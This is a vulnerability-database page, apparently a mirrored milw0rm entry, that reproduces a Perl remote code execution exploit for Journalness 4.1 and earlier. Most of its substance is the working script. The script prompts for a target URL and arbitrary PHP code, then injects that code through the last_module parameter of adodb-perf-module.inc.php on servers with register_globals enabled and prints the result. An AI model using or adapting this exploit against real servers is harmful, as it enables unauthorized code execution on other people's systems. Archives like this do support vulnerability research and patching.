Lucene search
K

Journalness <= 4.1 (last_module) Remote Code Execution exploit

🗓️ 09 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Journalness <= 4.1 Remote Code Execution exploit. Requires Register_globals = On in php.in

Code

                                                #!/usr/bin/perl
#
#	Vendor url: journalness.sourceforge.net
#
# note: exploit requires Register_globals = On in php.ini
#							~Iron
#							http://www.randombase.com
require LWP::UserAgent;

print &quot;#
# Journalness &lt;= 4.1 Remote Code Execution exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group &amp; dHack
#
# Example target url: http://www.target.com/journalnessdir/
Target url?&quot;;
chomp($target=&lt;stdin&gt;);
if($target !~ /^http:\/\//)
{
	$target = &quot;http://&quot;.$target;
}
if($target !~ /\/$/)
{
	$target .= &quot;/&quot;;
}
print &quot;PHP code to evaluate? &quot;;
chomp($code=&lt;stdin&gt;);
$code =~ s/(&lt;\?php|\?&gt;|&lt;\?)//ig;
$target .= &quot;includes/database/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};&quot;.$code.&quot;//&quot;;

$ua = LWP::UserAgent-&gt;new;
$ua-&gt;timeout(10);
$ua-&gt;env_proxy;

$response = $ua-&gt;get($target);

if ($response-&gt;is_success)
{
	print &quot;\n&quot;.&quot;#&quot; x 20 .&quot;\n&quot;;
	print $response-&gt;content;
	print &quot;\n&quot;.&quot;#&quot; x 20 .&quot;\n&quot;;
}
else
{
 die &quot;Error: &quot;.$response-&gt;status_line;
}

# milw0rm.com [2008-02-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation